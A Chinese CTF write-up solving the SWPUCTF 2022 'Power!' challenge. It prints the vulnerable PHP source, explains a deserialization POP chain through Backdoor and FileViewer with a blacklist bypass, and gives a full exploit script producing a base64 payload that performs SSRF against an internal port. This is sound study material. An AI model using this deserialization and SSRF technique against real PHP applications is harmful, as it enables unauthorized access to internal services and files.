NSS [SWPUCTF 2022 新生赛]Power!
开题。
随便传一个111,后端进行了一个文件包含操作。
输入index.php
,回显了一个不可显示图片。
有点小蒙蔽的,一般这种情况就源码,抓包,扫描。源码里面果然有货。
base解码后是index.php
的源码,同时根据hint,直接传参?source=xxx
就直接回显了源码。
<?phpclass FileViewer{public $black_list = "flag";public $local = "http://127.0.0.1/";public $path;public function __call($f,$a){$this->loadfile();}public function loadfile(){if(!is_array($this->path)){if(preg_match("/".$this->black_list."/i",$this->path)){$file = $this->curl($this->local."cheems.jpg");}else{$file = $this->curl($this->local.$this->path);}}else{$file = $this->curl($this->local."cheems.jpg");}echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';}public function curl($path){$url = $path;$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, 0);$response = curl_exec($curl);curl_close($curl);return $response;}public function __wakeup(){$this->local = "http://127.0.0.1/";}}class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}}if(isset($_GET['source'])){highlight_file(__FILE__);}else{if(isset($_GET['image_path'])){$path = $_GET['image_path']; //flag in /flag.phpif(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}else{echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';}}else if(isset($_GET['path_info'])){$path_info = $_GET['path_info'];$FV = unserialize(base64_decode($path_info));$FV->loadfile();}else{$path = "vergil.jpg";echo '<h2>POWER!!</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}}
?>
粗略一看,刚刚读取文件的功能是由以下代码实现,过滤了http:
gopher:
glob:
php:
。过滤了 gopher:
不禁让人怀疑要用到SSRF获取内网资源。
怀疑归怀疑,我们先读取以下根目录下/flag
文件和当前目录下flag.php
文件,两个比较常见的存放flag文件。
?image_path=file:///var/www/html/flag.php
当前目录下flag.php
文件存在。解码后是:
<?php
$a = "good job,but there is no flag
i put my flag in intranet(127.0.0.1:65500)
outsider have no permissions to get it
if you want it,then you have to take it
but you already knew the rules
try it";
?>
怀疑属实,要用到SSRF,从内网65500
端口访问web目录下flag.php
回顾一下源码,源码有反序列化点并且类中有SSRF特征代码。
反序列化+SSRF,启动!首先找反序列化链子再找SSRF利用方式。
一、构造链子。(倒着来)
我们的结尾肯定是FileViewer::loadfile()
方法,调用其中的$file = $this->curl($this->local.$this->path);
curl请求任意资源。
FileViewer::__call()
方法能调用FileViewer::loadfile()
方法。
Backdoor::__destruct()
方法能调用FileViewer::__call()
方法。
最终链子是:
Backdoor::__destruct()->
FileViewer::__call()->
FileViewer::loadfile()
二、如何利用SSRF请求内网资源127.0.0.1:65500/flag.php
我们有两个阻碍,一是黑名单过滤,二是__wakeup()
魔术方法。
黑名单过滤很好过。我们请求的地址是$this->local.$this->path
拼接而成,但是只对$this->path
过滤了字符串/flag
,我们使$this->local=127.0.0.1:65500/f
以及$this->path=lag.php
即可绕过过滤。
__wakeup()
魔术方法其实根本不用绕过,FileViewer
实例对象被反序列化后立刻执行__wakeup()
魔术方法,但是在Backdoor::__destruct()
方法中可以对FileViewer->path
重新赋值。这个顺序搞明白了就发现__wakeup()
魔术方法根本限制不了我们。
我一开始的EXP是这样的:
成功导致题目报错:
这是由于反序列化后立马调用了loadfile()
方法,而我们反序列化传进去的是Backdoor
类实例对象,没有这个方法。
反序列化,它是先从里面里面开始反序列话,而不是最外面。通俗讲,就是类A里面的属性是类B,反序列化先反序列化类B再反序列化类A。
内部类属性数量不一致,直接把内部类当垃圾回收,外部类。
外部类属性数量不一致,外部类直接被当成垃圾回收,而内部类正常。
基于以上原理我们,我们再new一个FileViewer
类实例对象,把我们EXP构造的Backdoor
类实例对象随意赋值给新new的FileViewer
类实例对象的任意属性就行。
当然也可以基于以上方法更进一步,用GC回收机制
,payload在base64编码前自己破坏掉一点,使得外部类(新new的FileViewer
类实例对象)直接无效被回收,内部类(Backdoor
类实例对象)正常反序列化被运作getflag。
EXP:
<?phpclass FileViewer{public $black_list = "flag";public $local = "http://127.0.0.1/";public $path;public function __call($f,$a){$this->loadfile();}public function loadfile(){if(!is_array($this->path)){if(preg_match("/".$this->black_list."/i",$this->path)){$file = $this->curl($this->local."cheems.jpg");}else{ //$this->path不包含字符串"flag"$file = $this->curl($this->local.$this->path);}}else{$file = $this->curl($this->local."cheems.jpg");}echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';}public function curl($path){$url = $path;$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, 0);$response = curl_exec($curl);curl_close($curl);return $response;}public function __wakeup(){$this->local = "http://127.0.0.1/";}
}
class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}
}//--------------【以上都是一模一样CV,不用管,没有改】---------------------------$file=new FileViewer();
$back=new Backdoor();$back->a=$file;
$back->b="local";
$back->superhacker="127.0.0.1:65500/f";$back->a->path="lag.php";$a=new FileViewer();
$a->local=$back;echo base64_encode(serialize($a));